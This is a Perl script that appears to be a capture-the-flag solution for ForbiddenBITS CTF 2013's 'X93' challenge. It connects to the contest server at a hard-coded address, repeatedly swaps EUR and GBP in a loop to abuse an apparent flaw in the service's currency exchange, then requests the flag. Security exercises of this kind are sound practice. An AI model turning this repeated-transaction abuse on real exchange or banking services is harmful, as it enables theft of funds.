#!/usr/bin/perl -w

# ForbiddenBITS CTF 2013
# X93 Challenge

use IO::Socket::INET;

$| = 1;

$socket = new IO::Socket::INET (
PeerHost => '95.170.83.28',
PeerPort => '3003',
Proto => 'tcp',
) or die "ERROR in Socket Creation : $!\n";

print "CONNECT!\n";

$i = 0;
while ($data = <$socket>) {
  print "$data";

  ## Really Wanna Trade with us ? yes/no
  if ($data =~ m/Really Wanna/) {
    print "ANSWERING YES...\n";
    print $socket "yes\n";
  }

  ## Enter Username :
  if ($data =~ m/Username/) {
    print "SENDING USERNAME...\n";
    print $socket "1338-offbyone\n";
  }

  ## end of main menu
  if ($data =~ m/restricted area/) {
    print "TRANSFERING MONEY...\n";

    ## EXCHANGE 100 EUR --> 100 GBP --> 100 EUR,  350 times
    if ($i++ < 350) {
      if (($i % 2) == 0) {
        print $socket "2\n";
        print $socket "GBP\n";
        print $socket "EUR\n";
        print $socket "100\n";
      } else {
        print $socket "2\n";
        print $socket "EUR\n";
        print $socket "GBP\n";
        print $socket "100\n";
      }
    ## FINALLY EXCHANGE 5000 USD
    } else {
      print $socket "2\n";
      print $socket "USD\n";
      print $socket "EUR\n";
      print $socket "5000\n";

      ## AND GET THE FLAG :)
      print $socket "4\n";
    }
  }
}

$socket->close();